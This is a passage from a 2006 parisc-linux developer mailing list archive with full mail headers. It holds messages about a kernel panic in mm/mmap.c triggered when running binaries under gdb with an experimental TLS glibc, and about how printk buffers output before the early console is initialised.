Feb 10 16:26:28 glaurung kernel: kernel BUG at mm/mmap.c:1956!
Feb 10 16:26:28 glaurung kernel: Backtrace:
Feb 10 16:26:28 glaurung kernel:  [<101583c8>] exit_mmap+0x170/0x190
Feb 10 16:26:28 glaurung kernel:  [<10122f64>] mmput+0x3c/0xb4
Feb 10 16:26:28 glaurung kernel:  [<10127cc8>] do_exit+0x200/0x9ec
Feb 10 16:26:28 glaurung kernel:  [<10128574>] do_group_exit+0xc0/0xc4
Feb 10 16:26:28 glaurung kernel:  [<10108360>] tracesys_exit+0x0/0x34
Feb 10 16:26:28 glaurung kernel:
Feb 10 16:26:28 glaurung kernel: Kernel panic - not syncing: BUG!

System.map
10124570 T print_tainted
10124658 T panic
101247f0 t __call_console_drivers
1012486c t _call_console_drivers

This is easily reproduceable, I just running gdb ls results in this behavior. 
So besides having a broken glibc, it looks like I also caught a problem in 
the kernel...

Maybe someone knowledgeable could look at it.

Thanks

Berthold
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux]
Date: Fri, 10 Feb 2006 20:18:08 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200602110118.k1B1I9g8011163@hiauly1.hia.nrc.ca>
References: <IUERV2$73024C16477B5B905C64A83CBA2295FA@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624006 18147 80.91.229.3 (22 Nov 2014 02:40:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Feb 2006 01:18:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx030) with SMTP; 11 Feb 2006 02:18:21 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 368CD7D688;
	Fri, 10 Feb 2006 18:18:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19175-09; Fri, 10 Feb 2006 18:18:18 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 87D6D7D68D;
	Fri, 10 Feb 2006 18:18:17 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 224D17D687
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 10 Feb 2006 18:18:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19420-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 10 Feb 2006 18:18:12 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 5AB577D67E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 10 Feb 2006 18:18:12 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k1B1IAil011164; Fri, 10 Feb 2006 20:18:11 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k1B1I9g8011163;
	Fri, 10 Feb 2006 20:18:09 -0500 (EST)
In-Reply-To: <IUERV2$73024C16477B5B905C64A83CBA2295FA@scarlet.be> from "Joel
	Soete" at Feb 9, 2006 08:09:02 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: CV6fY7ROeSEkbL6WZHQhaXN1IGRvb4AS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23421

> And I didn't find any uClibc debian pkg ready for hppa, though.
> 
> Any idea, advise?

You might want to look at this thread:
http://gcc.gnu.org/ml/gcc-patches/2006-02/msg00843.html

I expect getting this to work might be an excellent learning exercise ;)

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Berthold Gunreben <b.gunreben@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] crash in mmap.c
Date: Sat, 11 Feb 2006 14:31:12 +0100
Lines: 78
Approved: news@gmane.org
Message-ID: <200602111431.12986.b.gunreben@web.de>
References: <200602102054.42633.b.gunreben@web.de> <43ED2876.2070502@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624007 18152 80.91.229.3 (22 Nov 2014 02:40:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Feb 2006 13:30:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx089) with SMTP; 11 Feb 2006 14:30:57 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 034F27D67D;
	Sat, 11 Feb 2006 06:30:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22679-07; Sat, 11 Feb 2006 06:30:52 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C1A837D67E;
	Sat, 11 Feb 2006 06:30:51 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6B54E7D67B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Feb 2006 06:30:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22679-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Feb 2006 06:30:48 -0700 (MST)
Original-Received: from smtp08.web.de (smtp08.web.de [217.72.192.226])
	by free.linux.hp.com (Postfix) with ESMTP id 8889E7D677
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Feb 2006 06:30:48 -0700 (MST)
Original-Received: from [84.147.201.31] (helo=[192.168.178.20])
	by smtp08.web.de with asmtp (TLSv1:RC4-MD5:128) (WEB.DE 4.105 #340)
	id 1F7upg-0000Qm-00; Sat, 11 Feb 2006 14:30:36 +0100
User-Agent: KMail/1.8.2
In-Reply-To: <43ED2876.2070502@tausq.org>
Content-Disposition: inline
X-Sender: b.gunreben@web.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RYKfYxFEeSEkK76WZHQhaXN1IGRvb4D+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23422

Am Samstag 11 Februar 2006 00:57 schrieb Randolph Chung:
> > I recently played around with gcc-4.1 and glibc to build a glibc with
> > nptl support. Unfortunately I don't know right now, where to get current
> > patches to glibc (cvs.parisc-linux.org seems to be outdated). But while
> > doing this, running binaries with this glibc under gdb crashed my
> > machine, while without gdb, the binaries would just segfault. Here is
> > what happened to the kernel (2.6.15-rc7-pa0) using the TOC button:
>
> Can you specify more clearly what is "this glibc"? How did you finally
> build it? From what sources, with which toolchain (gcc/binutils) and
> with which options?

I am sorry that I was unclear about the environment. The glibc sources are 
those from cvs.parisc-linux.org. The toolchain is

GNU assembler version 2.16.91 (hppa-suse-linux) using BFD version 2.16.91 
20051210 (SUSE Linux)

gcc version 4.1.0 20060109 (prerelease) (SUSE Linux)

> If you build a simple "Hello World" app and run it, does it also kill
> the machine? Does this happen whether the app is linked dynamically or
> statically?

It only happens when I run a dynamically linked binary under gdb. And if I 
more /lib/tls away, it does not segfault at all. I did not write about this 
program not working, it made me think that it crashed the machine, and that 
there seems to be some problem in the kernel.

I just tried to build a small hello world program, and this did not crash the 
machine (although with tls, it would just segfault). This is what I did:

# cat foo.c
#include <stdio.h>

int
main()
{
  printf("Hello world\n");
  return 0;
}

gcc -o foo foo.c

# gdb foo
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "hppa-suse-linux"...Using host libthread_db library 
"/lib/tls/libthread_db.so.1".

(gdb) run
Starting program: /tmp/foo

Program received signal SIGSEGV, Segmentation fault.
0x403a11a0 in write () from /lib/tls/libc.so.6
(gdb) bt
#0  0x403a11a0 in write () from /lib/tls/libc.so.6
#1  0x4034f450 in _IO_new_file_write () from /lib/tls/libc.so.6
#2  0x4034f0cc in new_do_write () from /lib/tls/libc.so.6
#3  0x4034f3c0 in _IO_new_do_write () from /lib/tls/libc.so.6
#4  0x4034fce4 in _IO_new_file_overflow () from /lib/tls/libc.so.6
#5  0x40351dd8 in __overflow () from /lib/tls/libc.so.6
#6  0x40342a8c in puts () from /lib/tls/libc.so.6
#7  0x000104a0 in main ()

Without /lib/tls, everything works as expected.

Berthold
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] a stupid question about pdc_console?
Date: Sun, 12 Feb 2006 13:40:40 +0000
Lines: 39
Approved: news@gmane.org
Message-ID: <43EF3AD8.7050803@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624007 18156 80.91.229.3 (22 Nov 2014 02:40:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Feb 2006 13:40:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 12 Feb 2006 14:40:57 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 99B247D698;
	Sun, 12 Feb 2006 06:40:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02495-01; Sun, 12 Feb 2006 06:40:51 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 520BC7D679;
	Sun, 12 Feb 2006 06:40:51 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2E7047D674
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Feb 2006 06:40:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00995-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Feb 2006 06:40:47 -0700 (MST)
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by free.linux.hp.com (Postfix) with ESMTP id 26CF57D673
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Feb 2006 06:40:46 -0700 (MST)
Original-Received: from (ip-62-235-236-139.dial.scarlet.be [62.235.236.139]) 
	by xizor.is.scarlet.be  with ESMTP id k1CDejE18367; 
	Sun, 12 Feb 2006 14:40:45 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.12) Gecko/20060205 Debian/1.7.12-1.1
X-Accept-Language: en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vV+dYxg4eSEkTr6WZHQhaXN1IGRvb8C8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23423

Hello pa*,

afaik our pdc_console is the very early console that kernel has to printout early msg?

if yes could we anyway printk before this console is initialized?

(see arch/parisc/kernel/setup.c
in setup_arch()
we printk the kernel bit width (32/64 bits) just before pdc_console_init(), though?)

TIA,
	Joel

PS: don't much understand how in init/main.c
[...]
     441 asmlinkage void __init start_kernel(void)
     442 {
     443         char * command_line;
     444         extern struct kernel_param __start___param[], __stop___param[];
     445 /*
     446  * Interrupts are still disabled. Do necessary setups, then
     447  * enable them
     448  */
     449         lock_kernel();
     450         page_address_init();
     451         printk(KERN_NOTICE);
     452         printk(linux_banner);
     453         setup_arch(&command_line);
     454         setup_per_cpu_areas();
[...]

how printk() works before setup_arch() initialized his early console?
(that works but how?)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a stupid question about pdc_console?
Date: Tue, 14 Feb 2006 02:17:21 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20060214071721.GD13492@quicksilver.road.mcmartin.ca>
References: <43EF3AD8.7050803@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624007 18160 80.91.229.3 (22 Nov 2014 02:40:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Feb 2006 07:18:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx016) with SMTP; 14 Feb 2006 08:18:20 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6965B7D69D;
	Tue, 14 Feb 2006 00:18:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16741-09; Tue, 14 Feb 2006 00:18:17 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AFF5E7D6A0;
	Tue, 14 Feb 2006 00:18:16 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 34FA57D69B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Feb 2006 00:18:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16741-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Feb 2006 00:18:13 -0700 (MST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 843777D698
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Feb 2006 00:18:13 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id B909723E83;
	Tue, 14 Feb 2006 02:17:39 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03164-02; Tue, 14 Feb 2006 02:17:39 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca
	(CPE0004ace53177-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.204])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 736B623E82;
	Tue, 14 Feb 2006 02:17:39 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 662D63B060; Tue, 14 Feb 2006 02:17:21 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <43EF3AD8.7050803@tiscali.be>
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: auGDY7UueSEkYr6WZHQhaXN1IGRvbwAH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23424

On Sun, Feb 12, 2006 at 01:40:40PM +0000, Joel Soete wrote:
> how printk() works before setup_arch() initialized his early console?
> (that works but how?)

it queues it until a console registers, and then it gets dumped.

(see register_console in kernel/printk.c)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc-2.3.6 + carlos tls patch?
Date: Fri, 17 Feb 2006 18:31:31 +0100
Lines: 186
Approved: news@gmane.org
Message-ID: <IUUE0J$B69F9D49897C3679693F44B0E0CCFFA9@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624008 18164 80.91.229.3 (22 Nov 2014 02:40:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:08 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Feb 2006 17:31:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx083) with SMTP; 17 Feb 2006 18:31:49 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F20897D66A;
	Fri, 17 Feb 2006 10:31:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12520-06; Fri, 17 Feb 2006 10:31:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D32137D657;
	Fri, 17 Feb 2006 10:31:39 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D54DC7D655
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Feb 2006 10:31:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12520-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Feb 2006 10:31:36 -0700 (MST)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id BA8CC7D654
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Feb 2006 10:31:35 -0700 (MST)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by guri.is.scarlet.be  with ESMTP id k1HHVVZ23772 
	for <parisc-linux@lists.parisc-linux.org>; 
	Fri, 17 Feb 2006 18:31:31 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0m2EY3gQeSEkIb6WZHQhaXN1IGRvb8B/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23425

Hello pa*,

I am trying to apply latest cvs.p-l.org glibc tls (according to lsdiff
glibc-hppa-tls-2005-04-05.diff Carlos' patch).

In addition to previous mentioned patch (related to gcc-4 pb), I reach to=

rebuild this pkg with more or less success:
make -k check 
# grep Err ../../Logs/glibc-2.3.6-1.3.Check
make[2]: ***
